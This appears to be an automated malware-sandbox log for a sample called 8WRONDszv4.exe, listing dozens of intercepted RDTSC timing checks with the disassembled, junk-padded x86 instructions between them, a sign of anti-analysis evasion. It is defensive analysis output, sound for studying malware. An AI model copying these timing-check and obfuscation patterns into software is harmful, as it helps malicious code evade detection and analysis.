Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDBB9C second address: EDBBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 jnl 00007F1504B4201Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDDBCB second address: EDDBEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF459h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDDBEE second address: EDDBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDDBF2 second address: EDDBFC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1504DFF446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDDBFC second address: EDDC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1504B42021h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F1504B42023h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EDDC2D second address: EDDC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F1504DFF446h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE089E second address: EE08B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1504B42021h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE08B9 second address: EE08E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F1504DFF453h 0x0000000e jmp 00007F1504DFF44Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE08E8 second address: EE08EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE3393 second address: EE33A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F1504DFF446h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE34AC second address: EE34B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: EE34B0 second address: EE3505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2BF6h], ecx 0x0000000e push 00000004h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F1504DFF448h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a jmp 00007F1504DFF44Eh 0x0000002f push 035E50E7h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F1504DFF44Dh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF7E22 second address: DF7E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1504B42016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F070F second address: 54F0717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0717 second address: 54F075B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1504B42021h 0x00000009 sbb esi, 4A40FAD6h 0x0000000f jmp 00007F1504B42021h 0x00000014 popfd 0x00000015 mov ch, 1Eh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1504B4201Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F075B second address: 54F07BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F1504DFF44Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F1504DFF450h 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a mov ax, 43CDh 0x0000001e mov si, 4FC9h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1504DFF451h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F07BC second address: 54F07C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F07C0 second address: 54F07C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F07C6 second address: 54F07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504B42023h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F07DD second address: 54F07EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov edx, 035F4624h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F07EE second address: 54F08C6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1504B4201Dh 0x00000008 sub cx, 4466h 0x0000000d jmp 00007F1504B42021h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov esi, 1A988497h 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F1504B42028h 0x00000023 adc eax, 3C49DF38h 0x00000029 jmp 00007F1504B4201Bh 0x0000002e popfd 0x0000002f mov dh, ch 0x00000031 popad 0x00000032 push eax 0x00000033 jmp 00007F1504B42022h 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a mov cx, B02Dh 0x0000003e pushfd 0x0000003f jmp 00007F1504B4201Ah 0x00000044 xor esi, 25AE58C8h 0x0000004a jmp 00007F1504B4201Bh 0x0000004f popfd 0x00000050 popad 0x00000051 lea eax, dword ptr [ebp-04h] 0x00000054 pushad 0x00000055 mov edx, esi 0x00000057 pushfd 0x00000058 jmp 00007F1504B42020h 0x0000005d or esi, 0BE5DB28h 0x00000063 jmp 00007F1504B4201Bh 0x00000068 popfd 0x00000069 popad 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F1504B42025h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F08C6 second address: 54F08CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F08CE second address: 54F08DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F08DC second address: 54F08E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F08E0 second address: 54F08FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F08FB second address: 54F0931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 9FDEh 0x00000011 call 00007F1504DFF44Fh 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0931 second address: 54F094A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504B42025h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0A1C second address: 54F0A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0A20 second address: 54F0A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0A26 second address: 54F0A98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F1504DFF450h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1504DFF457h 0x00000016 sbb eax, 531A0ADEh 0x0000001c jmp 00007F1504DFF459h 0x00000021 popfd 0x00000022 mov edx, ecx 0x00000024 popad 0x00000025 leave 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1504DFF459h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0A98 second address: 54F0A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0A9E second address: 54F0AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54F0AA2 second address: 54E0009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007F1504B4217Ah 0x0000001a mov dword ptr [esp], 0000000Dh 0x00000021 call 00007F15093FE1B1h 0x00000026 mov edi, edi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov si, D931h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0009 second address: 54E0018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0018 second address: 54E001C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E001C second address: 54E002D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E002D second address: 54E0033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0033 second address: 54E0037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0037 second address: 54E0079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F1504B4201Fh 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 mov dl, ch 0x00000015 movsx edi, ax 0x00000018 popad 0x00000019 sub esp, 2Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F1504B42025h 0x00000024 pop eax 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0079 second address: 54E00BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F1504DFF450h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007F1504DFF44Ah 0x0000001b adc ax, 8A88h 0x00000020 jmp 00007F1504DFF44Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E00BD second address: 54E00C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01A7 second address: 54E01C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 inc ebx 0x00000007 pushad 0x00000008 movsx ebx, cx 0x0000000b push eax 0x0000000c movsx edx, cx 0x0000000f pop ecx 0x00000010 popad 0x00000011 test al, al 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01C0 second address: 54E01C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01C4 second address: 54E01C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01C8 second address: 54E01CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01CE second address: 54E01D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01D4 second address: 54E01FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F1504B422ACh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1504B42028h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E01FC second address: 54E0213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0213 second address: 54E021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E021A second address: 54E024F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F1504DFF44Ch 0x00000015 xor ecx, 6F1B5248h 0x0000001b jmp 00007F1504DFF44Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E024F second address: 54E0259 instructions: 0x00000000 rdtsc 0x00000002 mov ah, F5h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E029C second address: 54E030D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov dx, A050h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1504DFF454h 0x00000015 adc ax, BC98h 0x0000001a jmp 00007F1504DFF44Bh 0x0000001f popfd 0x00000020 call 00007F1504DFF458h 0x00000025 pushad 0x00000026 popad 0x00000027 pop esi 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d call 00007F1504DFF458h 0x00000032 pop eax 0x00000033 mov dh, 53h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0353 second address: 54E044A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1504B42020h 0x00000008 jmp 00007F1504B42025h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 movzx esi, dx 0x00000013 popad 0x00000014 test eax, eax 0x00000016 pushad 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F1504B4201Fh 0x0000001e adc si, A03Eh 0x00000023 jmp 00007F1504B42029h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F1504B42020h 0x0000002f jmp 00007F1504B42025h 0x00000034 popfd 0x00000035 popad 0x00000036 mov di, si 0x00000039 popad 0x0000003a jg 00007F1575FC00C1h 0x00000040 jmp 00007F1504B4201Ah 0x00000045 js 00007F1504B42097h 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F1504B4201Eh 0x00000052 and cx, CEC8h 0x00000057 jmp 00007F1504B4201Bh 0x0000005c popfd 0x0000005d pushfd 0x0000005e jmp 00007F1504B42028h 0x00000063 xor cl, 00000028h 0x00000066 jmp 00007F1504B4201Bh 0x0000006b popfd 0x0000006c popad 0x0000006d cmp dword ptr [ebp-14h], edi 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E044A second address: 54E044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E044E second address: 54E0454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0454 second address: 54E04CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F157627D47Fh 0x0000000f jmp 00007F1504DFF450h 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F1504DFF44Eh 0x0000001e jmp 00007F1504DFF455h 0x00000023 popfd 0x00000024 mov bx, si 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp-2Ch] 0x0000002b jmp 00007F1504DFF44Ah 0x00000030 xchg eax, esi 0x00000031 jmp 00007F1504DFF450h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov edx, esi 0x0000003c push esi 0x0000003d pop edx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E04CC second address: 54E04F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2DB43566h 0x00000008 mov edx, 5A3E41F2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1504B42024h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E04F3 second address: 54E0506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov si, 6ED9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0506 second address: 54E050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E050A second address: 54E0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop edi 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 mov ax, di 0x00000013 popad 0x00000014 nop 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0522 second address: 54E056E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F1504B42023h 0x0000000b pushfd 0x0000000c jmp 00007F1504B42028h 0x00000011 and cx, 2428h 0x00000016 jmp 00007F1504B4201Bh 0x0000001b popfd 0x0000001c pop ecx 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E056E second address: 54E0572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0572 second address: 54E0583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D0852 second address: 54D08BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 pushad 0x00000009 movsx edx, ax 0x0000000c pushfd 0x0000000d jmp 00007F1504DFF456h 0x00000012 sbb cx, 1BA8h 0x00000017 jmp 00007F1504DFF44Bh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push edi 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007F1504DFF457h 0x0000002a jmp 00007F1504DFF453h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D08BA second address: 54D091A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1504B4201Fh 0x00000009 and si, 0EFEh 0x0000000e jmp 00007F1504B42029h 0x00000013 popfd 0x00000014 call 00007F1504B42020h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1504B42027h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D091A second address: 54D0920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D0920 second address: 54D0924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D0924 second address: 54D094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1504DFF459h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D094A second address: 54D094E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D094E second address: 54D0954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D0954 second address: 54D095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54D099A second address: 54D09A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: 54E0A2D second address: 54E0A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
